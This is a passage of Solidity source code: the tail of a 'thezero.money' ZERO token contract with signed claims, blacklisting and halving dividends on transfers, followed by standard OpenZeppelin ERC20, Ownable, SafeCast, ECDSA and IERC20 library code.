uint256 internal magnifiedDividendPerShare;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => int256) internal magnifiedDividendCorrections;
mapping(address => uint256) internal withdrawnDividends;
event ChangeSigner(address indexed signer);
event SetBlacklisted(address indexed account, bool blacklisted);
event Start();
/// @dev This event MUST emit when ZERO is distributed to token holders.
/// @param weiAmount The amount of distributed ZERO in wei.
event DividendsDistributed(uint256 weiAmount);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws ZERO from this contract.
/// @param weiAmount The amount of withdrawn ZERO in wei.
event Withdraw(address indexed to, uint256 weiAmount);
constructor(address _signer) ERC20("thezero.money", "ZERO") {
signer = _signer;
blacklisted[address(this)] = true;
emit ChangeSigner(_signer);
emit SetBlacklisted(address(this), true);
}
function currentHalvingEra() public view returns (uint256) {
if (startedAt == 0) return type(uint256).max;
uint256 era = (block.timestamp - startedAt) / HALVING_PERIOD;
return FINAL_ERA < era ? FINAL_ERA : era;
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param account The address of a token holder.
/// @return The amount of dividend in wei that `account` can withdraw.
function withdrawableDividendOf(address account) public view returns (uint256) {
return accumulativeDividendOf(account) - withdrawnDividends[account];
}
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param account The address of a token holder.
/// @return The amount of dividend in wei that `account` has withdrawn.
function withdrawnDividendOf(address account) public view returns (uint256) {
return withdrawnDividends[account];
}
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(account) = withdrawableDividendOf(account) + withdrawnDividendOf(account)
/// = (magnifiedDividendPerShare * balanceOf(account) + magnifiedDividendCorrections[account]) / magnitude
/// @param account The address of a token holder.
/// @return The amount of dividend in wei that `account` has earned in total.
function accumulativeDividendOf(address account) public view returns (uint256) {
return
((magnifiedDividendPerShare * balanceOf(account)).toInt256() + magnifiedDividendCorrections[account])
.toUint256() / MAGNITUDE;
}
function changeSigner(address _signer) external onlyOwner {
signer = _signer;
emit ChangeSigner(_signer);
}
function setBlacklisted(address account, bool _blacklisted) external onlyOwner {
blacklisted[account] = _blacklisted;
emit SetBlacklisted(account, _blacklisted);
}
function start() external onlyOwner {
_mint(msg.sender, totalSupply());
startedAt = block.timestamp;
emit Start();
}
function claim(
uint8 v,
bytes32 r,
bytes32 s
) external {
require(!claimed[msg.sender], "ZERO: CLAIMED");
bytes32 message = keccak256(abi.encodePacked(msg.sender));
require(ECDSA.recover(ECDSA.toEthSignedMessageHash(message), v, r, s) == signer, "ZERO: UNAUTHORIZED");
claimed[msg.sender] = true;
_mint(msg.sender, 1 ether);
}
/// @dev Internal function that mints tokens to an account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _mint(address account, uint256 value) internal override {
super._mint(account, value);
magnifiedDividendCorrections[account] -= (magnifiedDividendPerShare * value).toInt256();
}
/// @dev Internal function that transfer tokens from one address to another.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param from The address to transfer from.
/// @param to The address to transfer to.
/// @param amount The amount to be transferred.
function _transfer(
address from,
address to,
uint256 amount
) internal override {
super._transfer(from, to, amount);
int256 _magCorrection = (magnifiedDividendPerShare * amount).toInt256();
magnifiedDividendCorrections[from] += _magCorrection;
magnifiedDividendCorrections[to] -= _magCorrection;
if (startedAt > 0 && !blacklisted[from]) {
_distributeDividends(amount);
}
}
/// @notice Distributes ZERO to token holders as dividends.
/// @dev It emits the `DividendsDistributed` event if the amount of received ZERO is greater than 0.
/// About undistributed ZERO:
/// In each distribution, there is a small amount of ZERO not distributed,
/// the magnified amount of which is
/// `(msg.value * magnitude) % totalSupply()`.
/// With a well-chosen `magnitude`, the amount of undistributed ZERO
/// (de-magnified) in a distribution can be less than 1 wei.
/// We can actually keep track of the undistributed ZERO in a distribution
/// and try to distribute it in the next distribution,
/// but keeping track of such data on-chain costs much more than
/// the saved ZERO, so we don't do that.
function _distributeDividends(uint256 amount) private {
uint256 era = (block.timestamp - startedAt) / HALVING_PERIOD;
if (FINAL_ERA <= era) {
return;
}
amount = amount / (2**era);
magnifiedDividendPerShare += ((amount * MAGNITUDE) / totalSupply());
_mint(address(this), amount);
emit DividendsDistributed(amount);
}
/// @notice Withdraws dividends distributed to the sender.
/// @dev It emits a `Withdraw` event if the amount of withdrawn ZERO is greater than 0.
function withdrawDividend() public {
uint256 _withdrawableDividend = withdrawableDividendOf(msg.sender);
require(_withdrawableDividend > 0, "ZERO: ZERO_DIVIDEND");
withdrawnDividends[msg.sender] += _withdrawableDividend;
_transfer(address(this), msg.sender, _withdrawableDividend);
emit Withdraw(msg.sender, _withdrawableDividend);
}
/// @dev External function that burns an amount of the token of a given account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param value The amount that will be burnt.
function burn(uint256 value) public {
_burn(msg.sender, value);
magnifiedDividendCorrections[msg.sender] += (magnifiedDividendPerShare * value).toInt256();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
